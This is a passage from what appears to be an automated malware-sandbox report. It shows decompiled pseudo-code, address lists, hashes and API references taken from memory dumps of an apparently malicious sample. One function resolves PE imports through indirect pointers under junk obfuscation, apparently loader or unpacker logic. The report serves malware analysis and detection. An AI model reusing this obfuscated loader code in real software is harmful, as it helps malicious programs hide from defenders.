									__eflags = _t81;
									 *0x92d2e0 = _t81;
								}
								_t28 = _t81 - 1; // 0x0
								_t58 = _t28;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x92d2e8 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x92d2e8 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}

0x0092b34b
0x0092b34e
0x0092b354
0x0092b372
0x00000000
0x0092b372
0x0092b35c
0x0092b365
0x0092b36b
0x0092b37a
0x0092b37d
0x0092b380
0x0092b38a
0x0092b38a
0x0092b38c
0x0092b38f
0x0092b391
0x0092b391
0x0092b393
0x0092b396
0x00000000
0x00000000
0x0092b398
0x0092b39a
0x0092b400
0x0092b400
0x0092b55e
0x00000000
0x0092b55e
0x0092b39c
0x0092b39c
0x0092b3a0
0x0092b3a2
0x0092b3a2
0x0092b3a2
0x0092b3a2
0x0092b3a5
0x0092b3a6
0x0092b3a9
0x0092b3a9
0x0092b3ad
0x0092b3b1
0x0092b3bf
0x0092b3bf
0x0092b3c7
0x0092b3cd
0x0092b3cf
0x0092b3d1
0x0092b3e1
0x0092b3ee
0x0092b3f2
0x0092b3f7
0x0092b3f9
0x0092b477
0x0092b477
0x0092b3fb
0x0092b3fb
0x0092b3fb
0x0092b479
0x0092b47b
0x0092b55c
0x0092b55c
0x00000000
0x0092b481
0x0092b481
0x0092b488
0x00000000
0x00000000
0x0092b48e
0x0092b492
0x0092b4ee
0x0092b4f0
0x0092b4f8
0x0092b4fa
0x0092b4fc
0x00000000
0x00000000
0x0092b4fe
0x0092b504
0x0092b506
0x0092b508
0x0092b51d
0x0092b51d
0x0092b51f
0x0092b54e
0x0092b555
0x00000000
0x0092b555
0x0092b523
0x0092b524
0x0092b526
0x0092b528
0x0092b528
0x0092b52a
0x0092b52c
0x0092b52e
0x0092b542
0x0092b542
0x0092b545
0x0092b547
0x0092b547
0x0092b548
0x0092b548
0x00000000
0x0092b530
0x0092b530
0x0092b530
0x0092b539
0x0092b53a
0x0092b53c
0x0092b53e
0x0092b53e
0x00000000
0x0092b530
0x0092b52e
0x0092b50a
0x0092b511
0x0092b511
0x0092b513
0x00000000
0x00000000
0x0092b515
0x0092b516
0x0092b519
0x0092b51b
0x00000000
0x00000000
0x00000000
0x0092b51b
0x00000000
0x0092b511
0x0092b494
0x0092b497
0x0092b49c
0x00000000
0x00000000
0x0092b4a5
0x0092b4a7
0x0092b4ad
0x00000000
0x00000000
0x0092b4b3
0x0092b4b9
0x00000000
0x00000000
0x0092b4bf
0x0092b4c1
0x0092b4ca
0x0092b4ce
0x00000000
0x00000000
0x0092b4d4
0x0092b4d7
0x0092b4d9
0x00000000
0x00000000
0x0092b4e0
0x0092b4e2
0x00000000
0x00000000
0x0092b4e4
0x0092b4e8
0x00000000
0x00000000
0x00000000
0x0092b4e8
0x00000000
0x00000000
0x00000000
0x0092b3d3
0x0092b3d3
0x0092b3d3
0x0092b3da
0x00000000
0x00000000
0x0092b3dc
0x0092b3dd
0x0092b3df
0x00000000
0x00000000
0x00000000
0x0092b3df
0x0092b407
0x0092b409
0x00000000
0x00000000
0x0092b419
0x0092b41b
0x0092b41d
0x00000000
0x00000000
0x0092b423
0x0092b42a
0x0092b456
0x0092b456
0x0092b458
0x0092b45a
0x0092b46e
0x0092b470
0x00000000
0x00000000
0x00000000
0x00000000
0x0092b45c
0x0092b45c
0x0092b45c
0x0092b465
0x0092b466
0x0092b468
0x0092b46a
0x0092b46a
0x00000000
0x0092b45c
0x0092b42c
0x0092b42c
0x0092b42f
0x0092b431
0x0092b443
0x0092b443
0x0092b446
0x0092b448
0x0092b448
0x0092b449
0x0092b449
0x0092b44f
0x0092b44f
0x00000000
0x00000000
0x00000000
0x00000000
0x0092b433
0x0092b433
0x0092b433
0x0092b43a
0x00000000
0x00000000
0x0092b43c
0x0092b43c
0x0092b43d
0x00000000
0x00000000
0x00000000
0x0092b43d
0x0092b43f
0x0092b441
0x0092b454
0x00000000
0x00000000
0x00000000
0x0092b454
0x00000000
0x0092b441
0x0092b3b3
0x0092b3b6
0x0092b3b9
0x00000000
0x00000000
0x0092b3bb
0x0092b3bd
0x00000000
0x00000000
0x00000000
0x0092b3bd
0x0092b382
0x0092b384
0x00000000
0x00000000
0x00000000
0x00000000

APIs

NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 0092B3F2

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: MemoryQueryVirtual
String ID:
API String ID: 2850889275-0
Opcode ID: b54d17ddccef72e65bd8fc3acbaaed01061140b60f89c9b6a00ff6dbac7fa607
Instruction ID: 5ea685abd6be3fa457aeb41d47d353d07db91dc569afd49fc6bb3c87149ad849
Opcode Fuzzy Hash: b54d17ddccef72e65bd8fc3acbaaed01061140b60f89c9b6a00ff6dbac7fa607
Instruction Fuzzy Hash: CD61D631615626DFDB29DF28F8C0B3973E9EB85354B248529E855CB2ADE730DD428B40

Uniqueness

Uniqueness Score: -1.00%

Function 026A3A85, Relevance: 1.3, Strings: 1, Instructions: 92
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E026A3A85(void* __eax, void* __ebx, signed int _a4) {
				signed int _v8;
				signed int _t71;
				void* _t86;
				void* _t93;
				void* _t96;
				signed int _t100;
				signed int _t101;
				signed int _t102;
				void* _t106;

				_t86 = __ebx;
				_t70 = __eax;
				if(_a4 != 0x904f) {
					_a4 = _a4 + 1;
					_t70 = __eax - 0x426;
				} else {
					_t100 = _t100 ^ _v8;
					_a4 = 0xffffffff;
				}
				_t71 = E026A4238(_t70, _t86, _t106,  *((intOrPtr*)(_t86 + 0x418391)));
				_t101 = _t100 & 0x00000000;
				_a4 = _a4 | 0xffffffff;
				 *(_t86 + 0x41864b) = 0xffffffff;
				if(_a4 != 0x6b3d) {
					_a4 = _a4 | _t71;
					_t71 = _t71 & 0x00000000;
					 *(_t86 + 0x41864b) =  *(_t86 + 0x41864b) ^ _t101;
				} else {
					_t93 = _t93 + 0x2ff;
				}
				_t102 = _t101 | 0x0000074b;
				_v8 = _v8 ^ _t71;
				_t72 = _t71 & 0xffffffff;
				if((_t71 & 0xffffffff) == 0xb85f) {
					_v8 = _v8 & 0xffffffff;
				}
				_v8 = 1;
				_v8 = _v8 + _t96;
				 *(_t86 + 0x4185e3) =  *(_t86 + 0x4185e3) + 1;
				 *(_t86 + 0x4185e3) =  *(_t86 + 0x4185e3) + 1;
				_v8 = _v8 ^ 0x00000000;
				E026A3BDB(_t72 & 0x00000000, _t86,  *((intOrPtr*)(_t86 + 0x41851f)));
				_v8 = _v8 ^ 0xffffffff;
				_a4 = _a4 & 0x00000000;
				_v8 = _v8 & 0x00000000;
				 *(_t86 + 0x4185e3) =  *(_t86 + 0x4185e3) | 0xffffffff;
				_a4 = _a4 ^ 0x00000000;
				_a4 = _a4;
				_a4 = _a4 + 1;
				 *(_t86 + 0x4185e3) =  *(_t86 + 0x4185e3) - 1;
				_a4 = _a4 | 0x00000001;
				 *(_t86 + 0x4185e3) =  *(_t86 + 0x4185e3) + _t102 - 1 + _t96;
				_v8 = _v8 & 0x00000000;
				_v8 = _v8 + 1;
				_a4 = _a4 ^ 0x00000000;
				return 0xffffffffffffffff;
			}

0x026a3a85
0x026a3a85
0x026a3a97
0x026a3aac
0x026a3aaf
0x026a3a99
0x026a3a99
0x026a3a9c
0x026a3aa3
0x026a3ac0
0x026a3ac5
0x026a3ac8
0x026a3acb
0x026a3adc
0x026a3ae6
0x026a3ae9
0x026a3aee
0x026a3ade
0x026a3ade
0x026a3ade
0x026a3af4
0x026a3afa
0x026a3afd
0x026a3b04
0x026a3b0f
0x026a3b0f
0x026a3b12
0x026a3b19
0x026a3b22
0x026a3b28
0x026a3b2e
0x026a3b38
0x026a3b46
0x026a3b59
0x026a3b5d
0x026a3b60
0x026a3b67
0x026a3b77
0x026a3b7a
0x026a3b7d
0x026a3b90
0x026a3b9c
0x026a3ba3
0x026a3ba7
0x026a3bb9
0x026a3bd8

Strings

=k, xrefs: 026A3AD5

Memory Dump Source

Source File: 00000000.00000002.470107216.00000000026A0000.00000040.00000001.sdmp, Offset: 026A0000, based on PE: true

Associated: 00000000.00000002.470182904.00000000026B8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.470196738.00000000026FD000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: =k
API String ID: 0-4048675473
Opcode ID: 98b9ea89f2378fc8d434ab78da3f182107d417997f6639ce0484e4127911c1e1
Instruction ID: f069d68b05516ae00767db0e5391272a846d37de649829798a1cc41a30c55c08
Opcode Fuzzy Hash: 98b9ea89f2378fc8d434ab78da3f182107d417997f6639ce0484e4127911c1e1
Instruction Fuzzy Hash: E3318372904608EFEF04CE74CA463DE7A71EF00375F24836EAD29991D6DB388B51DA54

Uniqueness

Uniqueness Score: -1.00%

Function 026A20EE, Relevance: .5, Instructions: 507
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E026A20EE(signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi, signed int _a4, char _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _t278;
				signed int _t282;
				signed int _t284;
				signed int _t285;
				signed int _t286;
				signed int _t289;
				void* _t291;
				signed int _t293;
				signed int _t294;
				signed int _t297;
				signed int _t300;
				signed int _t305;
				signed int _t308;
				void* _t309;
				signed int _t310;
				signed int _t318;
				signed int _t324;
				signed int _t337;
				signed int _t339;
				signed int _t341;
				signed int _t346;
				void* _t356;
				signed int _t358;
				signed int _t366;
				signed int _t368;
				signed int _t369;
				signed int _t370;
				signed int _t371;
				void* _t389;
				signed int _t396;
				signed int _t402;
				void* _t405;
				signed int _t406;
				signed int _t408;
				void* _t409;
				void* _t419;
				signed int _t421;
				void* _t426;
				signed int _t435;
				signed int _t436;
				void* _t443;
				signed int _t450;
				signed int* _t451;

				_t401 = __esi;
				_t366 = __edi;
				_t337 = __edx;
				_t305 = __ecx;
				_t300 = __ebx;
				_push(__ecx);
				 *_t450 =  *_t450 ^ __ecx;
				 *_t450 =  *_t450 | _t435;
				_t436 = _t450;
				_t451 = _t450 + 0xfffffff0;
				if( *(__ebx + 0x418237) == 0) {
					_t278 =  *((intOrPtr*)(__ebx + 0x45d020))();
					 *_t451 = __esi;
					 *(__ebx + 0x418237) = _t278;
					_t401 = 0;
				}
				_v20 = _v20 & 0x00000000;
				_push(_v20);
				 *_t451 =  *_t451 + _t366;
				if( *(_t300 + 0x418399) == 0) {
					_t337 = _v28;
					_v28 =  *((intOrPtr*)(_t300 + 0x418607));
					_v32 =  *((intOrPtr*)(_t300 + 0x418163));
					_v20 = 0;
					_v36 = _v36 ^ _v32;
					_v40 =  *((intOrPtr*)(_t300 + 0x4183f0));
					_t401 = _t401;
					_t278 =  *((intOrPtr*)(_t300 + 0x45d044))(_t401, _v20, _t278, _t337);
					 *(_t300 + 0x418399) =  *(_t300 + 0x418399) & 0x00000000;
					 *(_t300 + 0x418399) =  *(_t300 + 0x418399) | _t366 ^ _v44 | _t278;
					_t366 = _t366;
				}
				_push(_v20);
				_v28 = _t401;
				if( *(_t300 + 0x4184c3) == 0) {
					_push(_t337);
					_t337 = _v32;
					_v32 =  *((intOrPtr*)(_t300 + 0x41862f));
					_push(_t305);
					_v36 =  *((intOrPtr*)(_t300 + 0x4181bf));
					_t305 = _t305;
					_push(_t366);
					_v40 =  *((intOrPtr*)(_t300 + 0x41805f));
					_push(_t278);
					_push(_v40);
					_v44 =  *((intOrPtr*)(_t300 + 0x4180b3));
					_pop(_t396);
					 *_t451 =  *_t451 & 0x00000000;
					 *_t451 =  *_t451 + _t305;
					_t278 =  *((intOrPtr*)(_t300 + 0x45d048))(_t278);
					_v20 = _t396;
					 *(_t300 + 0x4184c3) =  *(_t300 + 0x4184c3) & 0x00000000;
					 *(_t300 + 0x4184c3) =  *(_t300 + 0x4184c3) ^ (_t396 & 0x00000000 | _t278);
					_t366 = _v20;
				}
				_v20 = _t305;
				_t368 = _t366 & 0x00000000 | _t305 ^ _v20 ^ _a4;
				_t308 = _v20;
				if( *(_t300 + 0x4185b3) == 0) {
					_t278 =  *((intOrPtr*)(_t300 + 0x45d01c))();
					 *(_t300 + 0x4185b3) =  *(_t300 + 0x4185b3) & 0x00000000;
					 *(_t300 + 0x4185b3) =  *(_t300 + 0x4185b3) ^ (_t436 & 0x00000000 | _t278);
					_t436 = _t436;
				}
				_t369 = _t368 +  *((intOrPtr*)(_t368 + 0x3c));
				if( *(_t300 + 0x41818f) == 0) {
					_t406 = _v32;
					_v32 =  *((intOrPtr*)(_t300 + 0x41824f));
					_t369 = _v36;
					_v36 =  *((intOrPtr*)(_t300 + 0x4181c7));
					_v40 = _t308;
					_t278 =  *((intOrPtr*)(_t300 + 0x45d03c))(_v20, _t369, _t401);
					_v20 = _t308;
					 *(_t300 + 0x41818f) =  *(_t300 + 0x41818f) & 0x00000000;
					 *(_t300 + 0x41818f) =  *(_t300 + 0x41818f) ^ (_t308 ^ _v20 | _t278);
					_t310 = _v20;
				}
				if( *((intOrPtr*)(_t369 + 0x80)) != 0) {
					_t370 =  *((intOrPtr*)(_t369 + 0x80));
					if( *(_t300 + 0x41832c) == 0) {
						_t278 =  *((intOrPtr*)(_t300 + 0x45d020))();
						_v20 = _t370;
						 *(_t300 + 0x41832c) = _t278;
						_t370 = _v20;
					}
					_t371 = _t370 + _a4;
					if( *(_t300 + 0x41859b) == 0) {
						_t278 =  *((intOrPtr*)(_t300 + 0x45d024))();
						_v20 = _t401;
						 *(_t300 + 0x41859b) =  *(_t300 + 0x41859b) & 0x00000000;
						 *(_t300 + 0x41859b) =  *(_t300 + 0x41859b) ^ _t401 & 0x00000000 ^ _t278;
						_t406 = _v20;
					}
					do {
						if( *_t371 != 0) {
							_v32 = _t278;
							_t402 = 0 ^  *_t371;
							_t278 = 0;
							if( *(_t300 + 0x41816b) == 0) {
								_v32 =  *((intOrPtr*)(_t300 + 0x418487));
								_t337 = _v36;
								_v36 =  *((intOrPtr*)(_t300 + 0x418338));
								_t318 = _v40;
								_v40 =  *((intOrPtr*)(_t300 + 0x4183ec));
								_t278 =  *((intOrPtr*)(_t300 + 0x45d03c))(_t310, _t337, _t278, _t402);
								_v20 = _t318;
								 *(_t300 + 0x41816b) =  *(_t300 + 0x41816b) & 0x00000000;
								 *(_t300 + 0x41816b) =  *(_t300 + 0x41816b) | _t318 ^ _v20 ^ _t278;
								_t310 = _v20;
							}
						} else {
							if( *(_t300 + 0x418420) == 0) {
								_t278 =  *((intOrPtr*)(_t300 + 0x45d024))();
								_v20 = _t310;
								 *(_t300 + 0x418420) = 0 ^ _t278;
								_t310 = _v20;
							}
							_v20 = _t300;
							_t402 = _t406 & 0x00000000 ^ _t300 - _v20 ^  *(_t371 + 0x10);
							_t300 = _v20;
							if( *(_t300 + 0x41812f) == 0) {
								_v32 =  *((intOrPtr*)(_t300 + 0x418033));
								_t291 = _t278;
								_v36 = _v36 & 0x00000000;
								_v36 = _v36 + _t291;
								_v40 =  *((intOrPtr*)(_t300 + 0x41813b));
								_t356 = _t337;
								_t358 = _v44;
								_v44 =  *((intOrPtr*)(_t300 + 0x4182eb));
								_t278 =  *((intOrPtr*)(_t300 + 0x45d044))(_t356, _t402, _t300, _t278);
								 *(_t300 + 0x41812f) =  *(_t300 + 0x41812f) & 0x00000000;
								 *(_t300 + 0x41812f) =  *(_t300 + 0x41812f) ^ _t358 ^  *_t451 ^ _t278;
								_t337 = _t358;
							}
						}
						_push(_t278);
						_t282 = _v32;
						_v32 =  *(_t371 + 0x10);
						if( *(_t300 + 0x4185cb) == 0) {
							_t282 =  *((intOrPtr*)(_t300 + 0x45d024))();
							_v36 = _t371;
							 *(_t300 + 0x4185cb) = 0 ^ _t282;
							_t371 = 0;
						}
						_pop( *_t173);
						if( *(_t300 + 0x418273) == 0) {
							_t282 =  *((intOrPtr*)(_t300 + 0x45d020))();
							_v32 = _t310;
							 *(_t300 + 0x418273) = _t282;
							_t310 = 0;
						}
						_t284 = _t282 & 0x00000000 | _t402 & 0x00000000 ^ _a4;
						_t405 = _t402;
						if( *(_t300 + 0x418203) == 0) {
							_v32 = _v32 & 0x00000000;
							_v32 = _v32 | _t284;
							_t294 =  *((intOrPtr*)(_t300 + 0x45d020))();
							_v20 = _t371;
							 *(_t300 + 0x418203) = 0 ^ _t294;
							_t371 = _v20;
							_t284 = _t371;
						}
						_v16 = _v16 + _t284;
						if( *(_t300 + 0x4184ef) == 0) {
							_v32 =  *((intOrPtr*)(_t300 + 0x418127));
							_t371 = _v36;
							_v36 =  *((intOrPtr*)(_t300 + 0x4182f7));
							_v40 =  *((intOrPtr*)(_t300 + 0x4185f7));
							_t419 = _t405;
							_t421 = _v44;
							_v44 =  *((intOrPtr*)(_t300 + 0x41827f));
							_t284 =  *((intOrPtr*)(_t300 + 0x45d048))(_t451, _t419, _t405, _t371, _t310);
							 *(_t300 + 0x4184ef) =  *(_t300 + 0x4184ef) & 0x00000000;
							 *(_t300 + 0x4184ef) =  *(_t300 + 0x4184ef) | _t421 ^  *_t451 | _t284;
							_t405 = _t421;
						}
						 *_t200 =  *((intOrPtr*)(_t371 + 0xc));
						_push(_v20);
						_pop(_t309);
						if( *(_t300 + 0x418334) == 0) {
							_v32 = _v32 ^ _t300;
							_v32 = _v32 + _t309;
							_t324 = _v36;
							_v36 =  *((intOrPtr*)(_t300 + 0x41838d));
							_v40 =  *((intOrPtr*)(_t300 + 0x4185af));
							_t371 = _t371;
							_t436 = _v44;
							_v44 =  *((intOrPtr*)(_t300 + 0x418410));
							_t284 =  *((intOrPtr*)(_t300 + 0x45d03c))(_t284, _t309, _t300);
							_v20 = _t324;
							 *(_t300 + 0x418334) =  *(_t300 + 0x418334) & 0x00000000;
							 *(_t300 + 0x418334) =  *(_t300 + 0x418334) ^ (_t324 & 0x00000000 | _t284);
							_t309 = _t436;
						}
						_t310 = _t309 + _a4;
						if( *(_t300 + 0x418474) == 0) {
							_v32 = _v32 & 0x00000000;
							_v32 = _v32 + _t310;
							_t284 =  *((intOrPtr*)(_t300 + 0x45d020))();
							 *(_t300 + 0x418474) =  *(_t300 + 0x418474) & 0x00000000;
							 *(_t300 + 0x418474) =  *(_t300 + 0x418474) | _t337 - _v36 ^ _t284;
							_t337 = _t337;
							_t310 = _t337;
						}
						_t406 = _t405 + _a4;
						if( *(_t300 + 0x418020) == 0) {
							_v32 = _v32 - _t284;
							_v32 = _t310;
							_v36 =  *((intOrPtr*)(_t300 + 0x418493));
							_t337 = _v40;
							_v40 =  *((intOrPtr*)(_t300 + 0x418507));
							_v20 = _v20 & 0x00000000;
							_v44 = _v44 + _t300;
							 *_t451 =  *_t451 & 0x00000000;
							 *_t451 =  *_t451 ^ _t300;
							_t293 =  *((intOrPtr*)(_t300 + 0x45d044))(_v20, _v36, _t337, _t284);
							_v20 = _t371;
							 *(_t300 + 0x418020) =  *(_t300 + 0x418020) & 0x00000000;
							 *(_t300 + 0x418020) =  *(_t300 + 0x418020) | _t371 ^ _v20 | _t293;
							_t371 = _v20;
							_t310 = _t337;
						}
						_v32 = _t310;
						_t285 =  *((intOrPtr*)(_t300 + 0x45d00c))(_v20);
						_v12 = _v12 & 0x00000000;
						_v12 = _v12 ^ (_t300 - _v36 | _t285);
						_t300 = _t300;
						do {
							if(( *_t406 & 0x80000000) != 0) {
								_v36 =  *_t406;
								_t339 = _t337;
								 *_t259 = _t371;
								_v8 = _v8 & 0x0000ffff;
							} else {
								_v20 = 0;
								_push(_v20);
								_v36 = _v36 + _t406;
								_t346 = _t337;
								_v20 = _t346;
								_v8 = _v8 & 0x00000000;
								_v8 = _v8 ^ _t346 ^ _v20 ^  *_t406 + _a4 + 0x00000002;
								_t339 = _v20;
								_pop(_t406);
							}
							_push(_v8);
							_pop( *_t263);
							_push(_v20);
							_pop(_t286);
							_v36 = _v8;
							_t341 = _t339;
							_v20 = _t341;
							_t337 = _v20;
							_v40 = _v40 ^ _t436;
							_v40 = _v40 + (_t286 & 0x00000000 | _t341 & 0x00000000 | _v12);
							_t289 =  *((intOrPtr*)(_t300 + 0x45d008))(_t436, _t371);
							_push(_v20);
							_v44 = _t406;
							_t408 = _t406 & 0x00000000 ^ (_t371 & 0x00000000 | _v16);
							_t371 = _t371;
							_v20 = _t310;
							 *_t408 =  *_t408 & 0x00000000;
							 *_t408 =  *_t408 | _t310 & 0x00000000 ^ _t289;
							_t310 = _v20;
							_pop(_t409);
							_v44 = 4;
							_t278 = _t371;
							_t406 = _t409 + _t278;
							_v16 = _v16 + _t278;
						} while ( *_t406 != 0);
						_t371 =  &_a16;
						_t436 = _t436;
					} while ( *_t371 != 0 ||  *(_t371 + 0x10) != 0);
					_push(_t406);
					return _t278 ^ _t278;
				} else {
					if( *(_t300 + 0x4184e3) == 0) {
						_v32 =  *((intOrPtr*)(_t300 + 0x418253));
						_t436 = _v36;
						_v36 =  *((intOrPtr*)(_t300 + 0x4181ef));
						_v40 =  *((intOrPtr*)(_t300 + 0x41823b));
						_v20 = _v20 & 0x00000000;
						_v44 = _t451 + _v44;
						_t278 =  *((intOrPtr*)(_t300 + 0x45d044))(_v20, _t401, _t369, _v32, _t436);
						 *(_t300 + 0x4184e3) =  *(_t300 + 0x4184e3) & 0x00000000;
						 *(_t300 + 0x4184e3) =  *(_t300 + 0x4184e3) | _t308 & 0x00000000 ^ _t278;
						_t308 = _t308;
					}
					_pop(_t426);
					if( *((intOrPtr*)(_t300 + 0x41826f)) == 0) {
						_v28 =  *((intOrPtr*)(_t300 + 0x418587));
						_t443 = _t436;
						_v32 =  *((intOrPtr*)(_t300 + 0x418014));
						_t436 = _t443;
						_t308 = _v40;
						_v40 =  *(_t300 + 0x4182c7);
						_v44 =  *(_t300 + 0x4181ab);
						_t278 =  *((intOrPtr*)(_t300 + 0x45d048))(_t426, _t337, _t308, _t436, _t337, _t426);
						 *_t89 = _t278;
						_push(_v20);
						_pop( *_t91);
					}
					_pop(_t385);
					if( *(_t300 + 0x418593) == 0) {
						_v20 = _v20 & 0x00000000;
						_push(_v20);
						 *_t451 =  *_t451 + _t278;
						_v28 =  *((intOrPtr*)(_t300 + 0x4180a3));
						_push(_t308);
						_push(_v28);
						_v32 =  *(_t300 + 0x4185e7);
						_pop(_t389);
						_v36 =  *(_t300 + 0x4185bb);
						_t278 =  *((intOrPtr*)(_t300 + 0x45d044))(_t389, _t337);
						_v20 = _t337;
						 *(_t300 + 0x418593) =  *(_t300 + 0x418593) & 0x00000000;
						 *(_t300 + 0x418593) =  *(_t300 + 0x418593) | _t337 & 0x00000000 | _t278;
					}
					if( *(_t300 + 0x4180cb) == 0) {
						_t297 =  *((intOrPtr*)(_t300 + 0x45d024))();
						_v20 = _t308;
						 *(_t300 + 0x4180cb) =  *(_t300 + 0x4180cb) & 0x00000000;
						 *(_t300 + 0x4180cb) =  *(_t300 + 0x4180cb) | _t308 & 0x00000000 ^ _t297;
						return _t297;
					}
					return _t278;
				}
			}

0x026a20ee
0x026a20ee
0x026a20ee
0x026a20ee
0x026a20ee
0x026a20ee
0x026a20ef
0x026a20f2
0x026a20f5
0x026a20f7
0x026a2101
0x026a2103
0x026a210b
0x026a2112
0x026a2118
0x026a2118
0x026a2119
0x026a211d
0x026a2120
0x026a212a
0x026a2133
0x026a2133
0x026a213d
0x026a2140
0x026a214a
0x026a2155
0x026a2159
0x026a215a
0x026a2166
0x026a216d
0x026a2173
0x026a2173
0x026a2174
0x026a2177
0x026a2181
0x026a2183
0x026a218a
0x026a218a
0x026a218d
0x026a2195
0x026a2199
0x026a219a
0x026a21a1
0x026a21a4
0x026a21a5
0x026a21ac
0x026a21b0
0x026a21b2
0x026a21b6
0x026a21b9
0x026a21bf
0x026a21c7
0x026a21ce
0x026a21d4
0x026a21d4
0x026a21d7
0x026a21e3
0x026a21e5
0x026a21ef
0x026a21f1
0x026a21fd
0x026a2204
0x026a220a
0x026a220a
0x026a220b
0x026a2215
0x026a221e
0x026a221e
0x026a2228
0x026a2228
0x026a222e
0x026a2231
0x026a2237
0x026a223f
0x026a2246
0x026a224c
0x026a224c
0x026a2256
0x026a23a1
0x026a23ae
0x026a23b0
0x026a23b6
0x026a23bd
0x026a23c3
0x026a23c3
0x026a23c6
0x026a23d0
0x026a23d2
0x026a23d8
0x026a23e0
0x026a23e7
0x026a23ed
0x026a23ed
0x026a23f0
0x026a23f3
0x026a2498
0x026a249f
0x026a24a1
0x026a24a9
0x026a24b3
0x026a24bf
0x026a24bf
0x026a24c9
0x026a24c9
0x026a24cc
0x026a24d2
0x026a24da
0x026a24e1
0x026a24e7
0x026a24e7
0x026a23f9
0x026a2400
0x026a2402
0x026a2408
0x026a240f
0x026a2415
0x026a2415
0x026a2418
0x026a2424
0x026a2426
0x026a2430
0x026a243a
0x026a243e
0x026a2440
0x026a2444
0x026a244f
0x026a2453
0x026a245b
0x026a245b
0x026a245e
0x026a246a
0x026a2471
0x026a2477
0x026a2477
0x026a2478
0x026a24ea
0x026a24ee
0x026a24ee
0x026a24f8
0x026a24fa
0x026a2502
0x026a2509
0x026a250f
0x026a250f
0x026a2510
0x026a251a
0x026a251c
0x026a2524
0x026a252b
0x026a2531
0x026a2531
0x026a253c
0x026a253e
0x026a2546
0x026a2549
0x026a254d
0x026a2550
0x026a2556
0x026a255d
0x026a2563
0x026a2566
0x026a2566
0x026a2567
0x026a2571
0x026a257a
0x026a2584
0x026a2584
0x026a258f
0x026a2593
0x026a259b
0x026a259b
0x026a259f
0x026a25ab
0x026a25b2
0x026a25b8
0x026a25b8
0x026a25bc
0x026a25bf
0x026a25c2
0x026a25ca
0x026a25cd
0x026a25d0
0x026a25da
0x026a25da
0x026a25e5
0x026a25e9
0x026a25f1
0x026a25f1
0x026a25f4
0x026a25fa
0x026a2602
0x026a2609
0x026a2612
0x026a2612
0x026a2613
0x026a261d
0x026a2620
0x026a2624
0x026a2627
0x026a2633
0x026a263a
0x026a2640
0x026a2641
0x026a2641
0x026a2642
0x026a264c
0x026a264f
0x026a2652
0x026a265c
0x026a2666
0x026a2666
0x026a2669
0x026a2670
0x026a2674
0x026a2678
0x026a267b
0x026a2681
0x026a2689
0x026a2690
0x026a2696
0x026a2699
0x026a2699
0x026a269d
0x026a26a0
0x026a26ac
0x026a26b0
0x026a26b3
0x026a26b4
0x026a26ba
0x026a26f3
0x026a26f7
0x026a26f8
0x026a26fb
0x026a26bc
0x026a26bc
0x026a26c3
0x026a26c6
0x026a26d9
0x026a26da
0x026a26e2
0x026a26e6
0x026a26e9
0x026a26ec
0x026a26ec
0x026a2702
0x026a2705
0x026a2708
0x026a270b
0x026a2711
0x026a2715
0x026a2716
0x026a2724
0x026a2728
0x026a272b
0x026a272e
0x026a2734
0x026a2737
0x026a2744
0x026a2746
0x026a2747
0x026a274f
0x026a2752
0x026a2754
0x026a2757
0x026a2759
0x026a2760
0x026a2761
0x026a2763
0x026a2766
0x026a2778
0x026a277a
0x026a277b
0x026a278e
0x026a2799
0x026a225c
0x026a2263
0x026a226c
0x026a2276
0x026a2276
0x026a2281
0x026a2286
0x026a228d
0x026a2290
0x026a229c
0x026a22a3
0x026a22a9
0x026a22a9
0x026a22aa
0x026a22b2
0x026a22bc
0x026a22c0
0x026a22c9
0x026a22cd
0x026a22d6
0x026a22d6
0x026a22e1
0x026a22e6
0x026a22ed
0x026a22f0
0x026a22f3
0x026a22f3
0x026a22f9
0x026a2301
0x026a2303
0x026a2307
0x026a230a
0x026a2314
0x026a2317
0x026a2318
0x026a231f
0x026a2323
0x026a232c
0x026a2331
0x026a2337
0x026a233f
0x026a2346
0x026a234c
0x026a2357
0x026a2359
0x026a235f
0x026a2367
0x026a236e
0x00000000
0x026a2374
0x026a2377
0x026a2377

Memory Dump Source

Source File: 00000000.00000002.470107216.00000000026A0000.00000040.00000001.sdmp, Offset: 026A0000, based on PE: true

Associated: 00000000.00000002.470182904.00000000026B8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.470196738.00000000026FD000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 190ef29eab26b44226983159a1f394aa4629ad48f98315d79de7dc04f91af78e
Instruction ID: 7d0d6f74933c204c97b2f0b155637f023d45f79a40a898ff952d4050916bde76
Opcode Fuzzy Hash: 190ef29eab26b44226983159a1f394aa4629ad48f98315d79de7dc04f91af78e
Instruction Fuzzy Hash: 3F228A32804215DFEB14CF64C9997AABBF5FF88725F09846DDC889B246CB741850CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 026A4859, Relevance: .5, Instructions: 466
COMMONCrypto

Download Yara Rule

